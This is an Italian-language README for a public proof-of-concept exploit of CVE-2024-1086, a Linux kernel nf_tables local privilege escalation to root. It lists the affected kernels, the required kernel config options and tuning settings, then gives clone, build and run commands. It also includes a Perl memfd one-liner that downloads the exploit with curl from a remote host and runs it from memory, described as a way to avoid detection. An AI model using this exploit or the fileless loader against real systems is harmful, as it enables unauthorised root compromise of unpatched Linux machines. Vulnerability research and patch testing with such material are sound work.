CVE-2024-1086

Proof-of-Concept di escalation dei privilegi locale universale per CVE-2024-1086, funzionante sulla maggior parte dei kernel Linux tra v5.14 e v6.6, inclusi Debian, Ubuntu e KernelCTF. Il tasso di successo è del 99,4% nelle immagini KernelCTF.

https://github.com/Notselwyn/CVE-2024-1086/assets/68616630/a3d43951-94ab-4c09-a14b-07b81f89b3de

Blogpost / Articolo tecnico

Un articolo completo sull'exploit - incluse informazioni di base e molti diagrammi utili - è disponibile nel blogpost di Flipping Pages.

Versioni affette

L'exploit colpisce le versioni dalla v5.14 (inclusa) alla v6.6 (inclusa), escludendo i rami patchati v5.15.149>, v6.1.76>, v6.6.15>. La patch per queste versioni è stata rilasciata a febbraio 2024. La vulnerabilità sottostante colpisce tutte le versioni (esclusi i rami stabili patchati) dalla v3.15 a v6.8-rc1.

Avvertenze:

• L'exploit non funziona su kernel v6.4> con kconfig CONFIG_INIT_ON_ALLOC_DEFAULT_ON=y (incluso Ubuntu v6.5)
• L'exploit richiede user namespaces (kconfig CONFIG_USER_NS=y), che tali user namespaces siano non privilegiati (comando sh sysctl kernel.unprivileged_userns_clone = 1) e che nf_tables sia abilitato (kconfig CONFIG_NF_TABLES=y). Per impostazione predefinita, tutto ciò è abilitato su Debian, Ubuntu e KernelCTF. Altre distribuzioni non sono state testate, ma potrebbero funzionare. Inoltre, l'exploit è stato testato solo su x64/amd64.
• L'exploit potrebbe essere molto instabile su sistemi con molta attività di rete
  • I sistemi con adattatore WiFi, se circondati da reti WiFi ad alto utilizzo, saranno molto instabili.
  • Su dispositivi di test, si prega di disattivare gli adattatori WiFi tramite BIOS.
• Il kernel panic (crash di sistema) dopo l'esecuzione dell'exploit è un effetto collaterale che non è stato deliberatamente risolto per prevenire un uso malintenzionato dell'exploit (cioè, i tentativi di sfruttamento dovrebbero ora essere più evidenti e poco pratici in operazioni reali). Nonostante ciò, permette ancora un proof-of-concept funzionante in ambienti di laboratorio, poiché la shell di root è funzionale e la persistenza su disco è possibile.

Utilizzo

Configurazione

I valori predefiniti dovrebbero funzionare senza modifiche su Debian, Ubuntu e KernelCTF con una shell locale. Su configurazioni/distribuzioni non testate, assicurati che i valori kconfig corrispondano al kernel di destinazione. Possono essere specificati in src/config.h. Se stai eseguendo l'exploit su una macchina con più di 32 GiB di memoria fisica, assicurati di aumentare CONFIG_PHYS_MEM. Se stai eseguendo l'exploit tramite SSH (sulla macchina di test) o una reverse shell, potresti voler impostare CONFIG_REDIRECT_LOG su 1 per evitare attività di rete non necessarie.

Compilazione

Se questo è poco pratico per te, è disponibile un binario x64 compilato con la configurazione predefinita.

git clone https://github.com/Notselwyn/CVE-2024-1086
cd CVE-2024-1086
make

Binario: CVE-2024-1086/exploit

Esecuzione

Eseguire l'exploit è altrettanto semplice:

./exploit

È supportata anche l'esecuzione senza file, in caso di situazioni di pentest in cui è necessario evitare rilevamenti. Tuttavia, Perl deve essere installato sul target:

perl -e '
  require qw/syscall.ph/;

  my $fd = syscall(SYS_memfd_create(), $fn, 0);
  system "curl https://example.com/exploit -s >&$fd";
  exec {"/proc/$$/fd/$fd"} "memfd";
'

Disclaimer

I programmi e gli script ("programmi") in questa directory/cartella/repository ("repository") sono pubblicati, sviluppati e distribuiti solo per scopi educativi/di ricerca. Io ("il creatore") non approvo alcun uso malevolo o illegale dei programmi in questo repository, poiché l'intenzione è condividere la ricerca e non svolgere attività illecite con esso. Non sono legalmente responsabile per qualsiasi cosa tu faccia con i programmi in questo repository.